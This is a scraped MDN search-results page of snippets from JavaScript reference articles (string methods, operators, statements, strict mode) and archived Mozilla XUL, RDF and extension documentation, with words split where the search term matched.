...And 2 more matches
String.prototype.charCodeAt() - JavaScript
int. if you want the entire code point value, use codepointat(). syntax str.charcodeat(index) parameters index an integer greater than or equal to 0 and less than the length of the string. if index is not a number, it defaults to 0. return value a number representing the utf-16 code unit value of the character at the given index. if index is out of range, charcodeat() returns nan. descr
iption unicode code points range from 0 to 1114111 (0x10ffff). the first 128 unicode code points are a direct match of the ascii character encoding. (for information on unicode, see the javascr
ipt guide.) note: charcodeat() will always return a value that is less than 65536. this is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are ...
...65536. this is because the higher code points are represented by a pair of (lower valued) "surrogate" pseudo-characters which are used to comprise the real character. ...
...the iso-latin-1 codeset ranges from 0 to 255. the first 0 to 127 are a direct match of the ascii character set. ...
...And 2 more matches
String.prototype.replace() - JavaScript
a string as a parameter" section below. function (replacement) a function to be invoked to create the new substring to be used to replace the matches to the given regexp or substr. the arguments supplied to this function are described in the "specifying a function as a parameter" section below. return value a new string, with some or all matches of a pattern replaced by a replacement. descr
iption this method does not change the calling string object. it simply returns a new string. to perform a global search and replace, include the g switch in the regular expression. specifying a string as a parameter the replacement string can include the following special replacement patterns: pattern inserts $$ inserts a "$". $& inserts the matched subs...
... capturing groups. specifying a function as a parameter you can specify a function as the second parameter. in this case, the function will be invoked after the match has been performed. the function's result (return value) will be used as the replacement string. (note: the above-mentioned special replacement patterns do not apply in this case.) note that the function will be invoked mult
iple times for each full match to be replaced if the regular expression in the first parameter is global. the arguments to the function are as follows: possible name supplied value match the matched substring. (corresponds to $& above.) p1, p2, ... the nth string found by a parenthesized capture group (including named capturing groups), provided the first ar...
...nd ignore case flags which permits replace() to replace each occurrence of 'apples' in the string with 'oranges'. let re = /apples/gi; let str = 'apples are round, and apples are juicy.'; let newstr = str.replace(re, 'oranges'); console.log(newstr); // oranges are round, and oranges are juicy. this logs 'oranges are round, and oranges are juicy'. switching words in a string the following scr
ipt switches the words in the string. for the replacement text, the scr
ipt uses capturing groups and the $1 and $2 replacement patterns. let re = /(\w+)\s(\w+)/; let str = 'john smith'; let newstr = str.replace(re, '$2, $1'); console.log(newstr); // smith, john this logs 'smith, john'. using an inline function that modifies the matched characters in this example, all occurrences of capital let...
...And 2 more matches
String.prototype.substr() - JavaScript
ibute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.substr(start[, length]) parameters start the index of the first character to include in the returned substring. length optional. the number of characters to extract. return value a new string containing the specified part of the given string. ...
...e specified part of the given string. descr
iption substr() extracts length characters from a str, counting from the start index. if start is a positive number, the index starts counting at the start of the string. its value is capped at str.length. if start is a negative number, the index starts counting from the end of the string. its value is capped at -str.length. note: in microsoft jscr
ipt, negative values of the start argument are not considered to refer to the end of the string. if length is omitted, substr() extracts characters to the end of the string. if length is undefined, substr() extracts characters to the end of the string. if length is a negative number, it is treated as 0. for both start and length, nan is treated as 0. ...
... microsoft jscr
ipt, negative values of the start argument are not considered to refer to the end of the string. if length is omitted, substr() extracts characters to the end of the string. if length is undefined, substr() extracts characters to the end of the string. if length is a negative number, it is treated as 0. for both start and length, nan is treated as 0. polyfill microsoft's jscr
ipt does not support negative values for the start index. ...
...And 2 more matches
WebAssembly - JavaScript
creating new memory and table instances via the webassembly.memory()/webassembly.table() constructors. ...
... object acts as the namespace for all webassembly-related functionality. unlike most other global objects, webassembly is not a constructor (it is not a function object). you can compare it to math, which is also a namespace object for mathematical constants and functions, or to intl which is the namespace object for internationalization constructors and other language-sensitive functions. descr
iption the primary uses for the webassembly object are: loading webassembly code, using the webassembly.instantiate() function. creating new memory and table instances via the webassembly.memory()/webassembly.table() constructors. providing facilities to handle errors that occur in webassembly via the webassembly.compileerror()/webassembly.linkerror()/webassembly.runtimeerror() constructors. ...
...mbly.table() constructors. providing facilities to handle errors that occur in webassembly via the webassembly.compileerror()/webassembly.linkerror()/webassembly.runtimeerror() constructors. constructor properties webassembly.compileerror() indicates an error during webassembly decoding or validation. webassembly.global() represents a global variable instance, accessible from both javascr
ipt and importable/exportable across one or more webassembly.module instances. this allows dynamic linking of mult
iple modules. webassembly.instance() is a stateful, executable instance of a webassembly.module webassembly.linkerror() indicates an error during module instantiation (besides traps from the start function). webassembly.memory() an object whose buffer property is a resizable arrayb...
...And 2 more matches
Iteration protocols - JavaScript
some built-in types are built-in iterables with a default iteration behavior, such as array or map, while other types (such as object) are not. ...
...some built-in types are built-in iterables with a default iteration behavior, such as array or map, while other types (such as object) are not. ...
... least the following two properties: done (boolean) has the value false if the iterator was able to produce the next value in the sequence. (this is equivalent to not specifying the done property altogether.) has the value true if the iterator has completed its sequence. in this case, value optionally specifies the return value of the iterator. value any javascr
ipt value returned by the iterator. can be omitted when done is true. the next() method must always return an object with appropriate properties including done and value. if a non-object value gets returned (such as false or undefined), a typeerror ("iterator.next() returned a non-object value") will be thrown. note: it is not possible to know reflectively whether a particular ob...
...And 2 more matches
Operator precedence - JavaScript
/interactive-examples and send us a pull request. precedence and associativity consider an expression describable by the representation below. note that both op1 and op2 are fill-in-the-blanks for operators. a op1 b op2 c if op1 and op2 have different precedence levels (see the table below), the operator with the highest precedence goes first and associativity does not matter. observe how mult
iplication has higher precedence than addition and executed first, even though addition is written first in the code. console.log(3 + 10 * 2); // logs 23 console.log(3 + (10 * 2)); // logs 23 because parentheses here are superfluous console.log((3 + 10) * 2); // logs 26 because the parentheses change the order left-associativity (left-to-right) means that it is processed as (a op1 b) op2 c, whi...
... code output function echo(name, num) { console.log("evaluating the " + name + " side")...
...", 3)); evaluating the left side evaluating the right side 8 the difference in associativity comes into play when there are mult
iple operators of the same precedence. with only one operator or operators of different precedences, associativity doesn't affect the output, as seen in the example above. in the example below, observe how associativity affects the output when mult
iple of the same operator are used. code output function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the division operator (/) console.log(echo("left", 6) / echo("middle", 2) / echo("right", 3)); evaluating the left side evaluating the middle side evaluating the right side 1 function ...
...And 2 more matches
Optional chaining (?.) - JavaScript
hile exploring the content of an object when there's no known guarantee as to which properties are required. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax obj?.prop obj?.[expr] arr?.[index] func?.(args) descr
iption the optional chaining operator provides a way to simplify accessing values through connected objects when it's possible that a reference or function may be undefined or null. for example, consider an object obj which has a nested structure. without optional chaining, looking up a deeply-nested subproperty requires validating the references in between, such as: let nestedprop = obj.first &&...
...j.first.second. this prevents the error that would occur if you simply accessed obj.first.second directly without testing obj.first. with the optional chaining operator (?.), however, you don't have to explicitly test and short-circuit based on the state of obj.first before trying to access obj.first.second: let nestedprop = obj.first?.second; by using the ?. operator instead of just ., javascr
ipt knows to implicitly check to be sure obj.first is not null or undefined before attempting to access obj.first.second. if obj.first is null or undefined, the expression automatically short-circuits, returning undefined. this is equivalent to the following, except that the temporary variable is in fact not created: let temp = obj.first; let nestedprop = ((temp === null || temp === undefined) ? u...
...cuiting evaluation when using optional chaining with expressions, if the left operand is null or undefined, the expression will not be evaluated. ...
...And 2 more matches
instanceof - JavaScript
ct. the return value is a boolean value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object instanceof constructor parameters object the object to test. constructor function to test against descr
iption the instanceof operator tests the presence of constructor.prototype in object's prototype chain. // defining constructors function c() {} function d() {} let o = new c() // true, because: object.getprototypeof(o) === c.prototype o instanceof c // false, because d.prototype is nowhere in o's prototype chain o instanceof d o instanceof object // true, because: c.prototype instan...
... d() o3 instanceof d // true o3 instanceof c // true since c.prototype is now in o3's prototype chain note that the value of an instanceof test can change based on changes to the prototype property of constructors. it can also be changed by changing an object's prototype using object.setprototypeof. it is also possible using the non-standard __proto__ property. instanceof and mult
iple context (e.g. frames or windows) different scopes have different execution environments. this means that they have different built-ins (different global object, different constructors, etc.). this may result in unexpected results. for instance, [] instanceof window.frames[0].array will return false, because array.prototype !== window.frames[0].array and arrays inherit from the former. this ma...
...ifferent scopes have different execution environments. this means that they have different built-ins (different global object, different constructors, etc.). this may result in unexpected results. for instance, [] instanceof window.frames[0].array will return false, because array.prototype !== window.frames[0].array and arrays inherit from the former. this may not make sense at first, but for scr
ipts dealing with mult
iple frames or windows, and passing objects from one context to another via functions, this will be a valid and strong issue. for instance, you can securely check if a given object is, in fact, an array using array.isarray(myobj) for example, checking if a nodes is a svgelement in a different context, you can use mynode instanceof mynode.ownerdocument.defaultview.svgelement. ...
...And 2 more matches
this - JavaScript
it also has some differences between strict mode and non-strict mode. in most cases, the value of this is determined by how a function is called (runtime binding). it can't be set by assignment during execution, and it may be different each time the function is called. es5 introduced the bind() method to set the value of a function's this regardless of how it's called, and es2015 introduced arrow functions which don't provide their own this binding (it retains the this value of the enclosing lexical context). the source for this interactive example is stored in a github repository. ...
...or this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax this value a property of an execution context (global, function or eval) that, in non-strict mode, is always a reference to an object and in strict mode can be any value. descr
iption global context in the global execution context (outside of any function), this refers to the global object whether in strict mode or not. // in web browsers, the window object is also the global object: console.log(this === window); // true a = 37; console.log(window.a); // 37 this.b = "mdn"; console.log(window.b) // "mdn" console.log(b) // "mdn" note: you can always easily g...
...d to an object using the related constructor, so the primitive number 7 is converted to an object as if by new number(7) and the string 'foo' to an object as if by new string('foo'), e.g. function bar() { console.log(object.prototype.tostring.call(this)); } bar.call(7); // [object number] bar.call('foo'); // [object string] bar.call(undefined); // [object global] the bind method ecmascr
ipt 5 introduced function.prototype.bind(). calling f.bind(someobject) creates a new function with the same body and scope as f, but where this occurs in the original function, in the new function it is permanently bound to the first argument of bind, regardless of how the function is being used. function f() { return this.a; } var g = f.bind({a: 'azerty'}); console.log(g()); // azerty var h = ...
...And 2 more matches
void operator - JavaScript
the void operator evaluates the given expression and then returns undefined. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax void expression descr
iption this operator allows evaluating expressions that produce a value into places where an expression that evaluates to undefined is desired. the void operator is often used merely to obtain the undefined primitive value, usually using "void(0)" (which is equivalent to "void 0"). in these cases, the global variable undefined can be used. it should be noted that the precedence of the void operator should be taken into account and that parentheses can help cl...
... examples immediately invoked function expressions when using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration. void function iife() { console.log("executed!"); }(); // output: "executed!" executing the above function without the void keyword will result in an uncaught syntaxerror. ...
...xpressions when using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration. void function iife() { console.log("executed!"); }(); // output: "executed!" executing the above function without the void keyword will result in an uncaught syntaxerror. ...
...And 2 more matches
label - JavaScript
er to. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: labeled loops or blocks are very uncommon. usually function calls can be used instead of loop jumps. ...
...n a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: labeled loops or blocks are very uncommon. usually function calls can be used instead of loop jumps. syntax label : statement label any javascr
ipt identifier that is not a reserved word. statement a javascr
ipt statement. break can be used with any labeled statement, and continue can be used with looping labeled statements. descr
iption you can use a label to identify a loop, and then use the break or continue statements to indicate whether a program should interrupt the loop or continue its execution. note that javascr
ipt has no goto statement, you can only use labels with break or continue. in st...
... var itemspassed = 0; var i, j; top: for (i = 0; i < items.length; i++) { for (j = 0; j < tests.length; j++) { if (!tests[j].pass(items[i])) { continue top; } } itemspassed++; } using ...
...And 2 more matches
try...catch - JavaScript
ments that are executed if an exception is thrown in the try-block. exception_var_1, exception_var_2 an identifier to hold an exception object for the associated catch-block. condition_1 a conditional expression. finally_statements statements that are executed after the try statement completes. these statements execute regardless of whether an exception was thrown or caught. descr
iption the try statement consists of a try-block, which contains one or more statements. {} must always be used, even for single statements. at least one catch-block, or a finally-block, must be present. this gives us three forms for the try statement: try...catch try...finally try...catch...finally a catch-block contains statements that specify what to do if an exception is thrown in the tr...
... try statement: try...catch try...finally try...catch...finally a catch-block contains statements that specify what to do if an exception is thrown in the try-block. if any statement within the try-block (or in a function called from within the try-block) throws an exception, control is immediately shifted to the catch-block. ...
... unconditional catch-block when a catch-block is used, the catch-block is executed when any exception is thrown from within the try-block. for example, when the exception occurs in the following code, control transfers to the catch-block. ...
...And 2 more matches
with - JavaScript
use of the with statement is not recommended, as it may be the source of confusing bugs and compatibility issues. see the "ambiguity contra" paragraph in the "descr
iption" section below for details. the with statement extends the scope chain for a statement. syntax with (expression) statement expression adds the given expression to the scope chain used when evaluating the statement. the parentheses around the expression are required. statement any statement. to execute mult
iple statements, use a block statement ({ ... }) to group those statements. descr
iption javascr
ipt looks up an unqualified name by searching a scope chain associated with the execution context of the scr
ipt or function containing that unqualified name. the 'with' statement adds the given object to ...
...g that unqualified name. the 'with' statement adds the given object to the head of this scope chain during the evaluation of its statement body. if an unqualified name used in the body matches a property in the scope chain, then the name is bound to the property and the object containing the property. otherwise a referenceerror is thrown. using with is not recommended, and is forbidden in ecmascr
ipt 5 strict mode. the recommended alternative is to assign the object whose properties you want to access to a temporary variable. performance pro & contra pro: the with statement can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. the scope chain change required by 'with' is not computationally expensive. use of 'with' will relieve the...
...es the specified object to be searched first for all name lookups. therefore all identifiers that aren't members of the specified object will be found more slowly in a 'with' block. where performance is important, 'with' should only be used to encompass code blocks that access members of the specified object. ambiguity contra contra: the with statement makes it hard for a human reader or javascr
ipt compiler to decide whether an unqualified name will be found along the scope chain, and if so, in which object. so given this example: function f(x, o) { with (o) { console.log(x); } } only when f is called is x either found or not, and if found, either in o or (if no such property exists) in f's activation object, where x names the first formal argument. if you forget to define x in t...
...And 2 more matches
Statements and declarations - JavaScript
this isn't a keyword, but a group of keywords. statements and declarations by category for an alphabetical listing see the sidebar on the left. control flow block a block statement is used to group zero or more statements. the block is delimited by a pair of curly brackets. break terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement. ...
...ets. break terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement. continue terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration. empty an empty statement is used to provide no statement, although the javascr
ipt syntax would expect one. if...else executes a statement if a specified condition is true. if the condition is false, another statement can be executed. switch evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case. throw throws a user-defined exception. try...catch marks a block of statements to try, and specifies a re...
...es a loop that executes a specified statement as long as the test condition evaluates to true. the condition is evaluated before executing the statement. others debugger invokes any available debugging functionality. if no debugging functionality is available, this statement has no effect. ...
...And 2 more matches
Transitioning to strict mode - JavaScript
ecmascr
ipt 5 introduced strict mode which is now implemented in all major browsers (including ie10). while making web browsers interpret code as strict is easy (just add 'use strict'; at the top of your source code), transitioning an existing code base to strict mode requires a bit more work. this article aims at providing guidance for developers. gradual transition strict mode has been designed so that the transition to it can be made gradually. it is possible to change each file individually and even to transition code to strict mode down to the function granularity. ...
...iding guidance for developers. gradual transition strict mode has been designed so that the transition to it can be made gradually. it is possible to change each file individually and even to transition code to strict mode down to the function granularity. ...
... granularity. differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the scr
ipt is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in prevision for ecmascr
ipt 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascr
ipt 2015 (bug 1041128). declaring two function parameters with the same name function f(a, b, b...
...And 2 more matches
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scr
ipts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${pro...
...e new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created. ...
...e" next, start firefox to populate the new profile directory with the rest of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created. ...
...ts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test scr
ipt is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scr
ipts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
Jetpack Snippets - Archive of obsolete content
ead the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! bits of code that may come in handy. ...
...it and the blog post announcing the first sdk release for what we're up to next! bits of code that may come in handy. ...
.... ...
...firebug lite bookmarklet code: var firebug=document.createelement('scr
ipt'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.init();}else{settimeout(arguments.callee);}})();void(firebug); ]]></scr
ipt> </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); }}); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar object exinitslidebar(slide); }, ...});function exinitslidebar(aslidebar) { ...
Scripting - Archive of obsolete content
this file will be loaded into the prism chrome window very much like a firefox extension is loaded into the browser chrome window. it can contain the following functions: startup when the app starts, before the user interface is displayed. since the web application has not yet loaded, the window object is still undefined. preload just before the user interface is displayed. returning false causes the application to terminate. load after the main application windows has finished loading. ...
.... load after the main application windows has finished loading. the window object has been initialized and can be used. error if there is an error loading the main app page (e.g. the server is not accessible). shutdown just before the application terminates. prism exposes desktop integration features through an property of the window object called platform. ...
...dow object called platform. the platform property implements the ns
iplatformglue interface, whose methods are described in the following section. methods of the window.platform object can be called from webapp.js or from web content. the following code can be used by web content to determine whether it is running in prism: if ("platform" in window) { // prism-specific code goes here } see the ns
iplatformglue idl definition file for details of the methods available to prism apps. currently, the webapp scr
ipt also has access to full xpcom functionality, just like a firefox extension. this level of functionality is commonly called chrome-level privileges. ...
...etermine whether it is running in prism: if ("platform" in window) { // prism-specific code goes here } see the ns
iplatformglue idl definition file for details of the methods available to prism apps. currently, the webapp scr
ipt also has access to full xpcom functionality, just like a firefox extension. this level of functionality is commonly called chrome-level privileges. it means that the scr
ipt has a higher level of privilege than scr
ipts in the web content and has access to the file system, cl
ipboard and other parts of the native os. note: in the future, the webapp scr
ipt may have lower privileges. we are looking into the security aspects of the higher privilege level. ...
Using Multiple Queries to Generate More Results - Archive of obsolete content
n't also matched by the first query, it will have content created for it. recall that when the member resource for a query matches several rules, only the earliest query that matches will have content generated for it. if resources don't overlap, we can generate content for two different parts of the rdf data. ...
...rent parts of the rdf data. if we add the following data about people to the neighbourhood datasource: <rdf:descr
iption rdf:about="http://www.xulplanet.com/rdf/myneighbourhood"> <r:people> <rdf:seq> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/1"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/2"/> </rdf:seq> </r:people> </rdf:descr
iption> <rdf:descr
iption rdf:about="http://www.xulplanet.com/rdf/person/1" dc:title="nathan"/> <rdf:descr
iption rdf:about="http://www.xulplanet.com/rdf/person/2" dc:title="karen"/> we can then use two queries to generate results from different parts of the datasource. the first query will match the streets as before, but the second query will generate a r...
...yset> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title" class="header"/> </action> </rule> </queryset> <queryset> <query> <content uri="?start"/> <tr
iple subject="?start" predicate="http://www.xulplanet.com/rdf/people" object="?people"/> <member container="?people" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title"/> </action> </rule> </queryset> </template> you can view the example. ...
...ject="?start" predicate="http://www.xulplanet.com/rdf/people" object="?people"/> <member container="?people" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title"/> </action> </rule> </queryset> </template> you can view the example. mult
iple queries with xml sources you can also use more than query when using an xml source. here is an example which generates two sets of results and shows them together. <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <queryset> <query expr="group[@name='male']/*"/> <action> <checkbox uri="?" label="?name"/> </action> </queryset> <queryset>...
Using multiple DTDs - Archive of obsolete content
normally you have a single dtd (document type definition) to localize a specific xul file. but there are situations where you want to use mult
iple dtds, for example to localize common widgets used in all your xul files, additionally to the ones specific to the file. single dtd to make strings in your xul file localizable, you normally add a dtd declaration at the beginning of the file like this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element. ...
...ocalizable, you normally add a dtd declaration at the beginning of the file like this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element. ...
... declaration at the beginning of the file like this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element. assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> mult
iple dtds if you want to use mult
iple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % commondtd system "chrome://myextensions/locale/common.dtd"> %commondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above. assume you have an entity ok...
...mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above. assume you have an entity okbutton.label defined in file common.dtd. then accessing entities from both dtds would look like this: <button id="somebutton" label="&somebutton.label"> ... <button id="okbutton" label="&okbutton.label"> note that there is no such thing as namespaces with mult
iple dtds. you have to make sure by yourself that the entities defined in the various dtds do not clash. ...
script - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] much like the html scr
ipt element, this is used to declare a scr
ipt to be used by the xul window. you should usually put scr
ipts in a separate file pointed to by the src attribute, but you may also place the scr
ipt inline inside the opening and closing scr
ipt tags. more information is available in the xul tutorial. attributes src, type examples <scr
ipt src="test.js"/> <scr
ipt src="http://example.com/js/test.js"/> <scr
ipt> function foo(){ // code } </scr
ipt> attributes src type: uri the uri of the scr
ipt. ...
...ace the scr
ipt inline inside the opening and closing scr
ipt tags. more information is available in the xul tutorial. attributes src, type examples <scr
ipt src="test.js"/> <scr
ipt src="http://example.com/js/test.js"/> <scr
ipt> function foo(){ // code } </scr
ipt> attributes src type: uri the uri of the scr
ipt. type type: language content type the language of the scr
ipt. usually, you would set this to application/javascr
ipt. note: if the javascr
ipt file is in chrome://, setting this attribute to application/javascr
ipt will always use the latest available javascr
ipt version. if you omit this attribute, the default (and older) javascr
ipt version is used (like you get when including a javascr
ipt file from web content without specifying a version number). in...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
toolbargrippy - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minh...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, mi...
...essibility object for the element. ...
...y object for the element. ...
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
as a basis for your own extension. download the sample updating the install manifest the first step is to revise the extension's install manifest to indicate that it can be installed in thunderbird and sunbird. ...
...be installed in thunderbird and sunbird. ...
...after inserting this code, you can successfully install the e...
... <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> </descr
iption> </em:targetapplication> <!-- describe the sunbird versions we support --> <em:targetapplication> <descr
iption> <em:id> {718e30fb-e89b-41dd-9da7-e25a45638b28}</em:id> <em:minversion>0.2</em:minversion> <em:maxversion>0.4.*</em:maxversion> </descr
iption> </em:targetapplication> these two blocks indicate that the extension supports thunderbird versions 1.5 through 2.0.0.x, sunbird versions 0.2 through 0.4.x. after inserting this code, you can successfully install the extension into any (or all) of firefox, thunderbird, and sunbird, but you won't see any effect in thunderbird and sunbird. that's because there's nothing telling those two a...
New in JavaScript 1.7 - Archive of obsolete content
the following is a changelog for javascr
ipt 1.7. this version was included in firefox 2 (october 2006). javascr
ipt 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment. using javascr
ipt 1.7 in order to use some of the new features of javascr
ipt 1.7, you need to specify that you wish to use javascr
ipt 1.7. ...
...s version was included in firefox 2 (october 2006). javascr
ipt 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment. using javascr
ipt 1.7 in order to use some of the new features of javascr
ipt 1.7, you need to specify that you wish to use javascr
ipt 1.7. ...
...efox 2 (october 2006). javascr
ipt 1.7 is a language update introducing several new features, in particular generators, iterators, array comprehensions, let expressions, and destructuring assignment. using javascr
ipt 1.7 in order to use some of the new features of javascr
ipt 1.7, you need to specify that you wish to use javascr
ipt 1.7. in html or xul code, use: <scr
ipt type="application/javascr
ipt;version=1.7"></scr
ipt> when using the javascr
ipt shell, you need to set the version you wish to use using the -version 170 switch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names. the features...
...ch on the command line or using the version() function: version(170); the features that require the use of the new keywords "yield" and "let" require you to specify version 1.7 because existing code might use those keywords as variable or function names. the features that do not introduce new keywords (destructuring assignment and array comprehensions) can be used without specifying the javascr
ipt version. new features in javascr
ipt 1.7 the following features added with javascr
ipt 1.7 were not part of an ecma-262 standard at the time. in more recent firefox versions, the implementation is updated to work with semantics as specified in ecmascr
ipt edition 6. please see the reference pages for differences. iterators and generators array comprehensions let statement (support for let ex...
RDF: Resource Description Framework for metadata - Archive of obsolete content
documentation directions of the mozilla rdf engine this presentation shows new developments in the mozilla rdf engine. ...
... documentation directions of the mozilla rdf engine this presentation shows new developments in the mozilla rdf engine. ...
... family of specifications is maintained by the world wide web consortium (w3c). the rdf metadata model is based upon the idea of making statements about resources in the form of a subject-predicate-object expression, called a tr
iple in rdf terminology. the subject is the resource, the "thing" being described. the predicate is a trait or aspect about that resource, and often expresses a relationsh
ip between the subject and the object. the object is the object of the relationsh
ip or value of that trait. documentation directions of the mozilla rdf engine this presentation shows new developments in the mozilla rdf engine. these include plans to expose the rdf api to public web content, as well as performance and correctness improvements. what is rdf tim bray's introduction to the re...
... rdf datasource how-to a cookbook-style document describing how to create a native, client-side datasource that works with mozilla's rdf implementation. view all... community view mozilla forums... ...
Async scripts for asm.js - Game development
every medium or large game should compile asm.js code as part of an async scr
ipt to give the browser the maximum flexibility to optimize the compilation process. in gecko, async compilation allows the javascr
ipt engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28). to see the difference, toggle javascr
ipt.options.parallel_parsing in about:config. ...
...ion allows the javascr
ipt engine to compile the asm.js off the main thread when the game is loading and cache the generated machine code so that the game doesn't need to be compiled on subsequent loads (starting in firefox 28). to see the difference, toggle javascr
ipt.options.parallel_parsing in about:config. putting async into action getting async compilation is easy: when writing your javascr
ipt, just use the async attribute like so: <scr
ipt async src="file.js"></scr
ipt> or, to do the same thing via scr
ipt: var scr
ipt = document.createelement('scr
ipt'); scr
ipt.src = "file.js"; document.body.appendchild(scr
ipt); (scr
ipts created from scr
ipt default to async.) the default html shell emscr
ipten generates produces the latter. when is async not async? two common situations in which a s...
... just use the async attribute like so: <scr
ipt async src="file.js"></scr
ipt> or, to do the same thing via scr
ipt: var scr
ipt = document.createelement('scr
ipt'); scr
ipt.src = "file.js"; document.body.appendchild(scr
ipt); (scr
ipts created from scr
ipt default to async.) the default html shell emscr
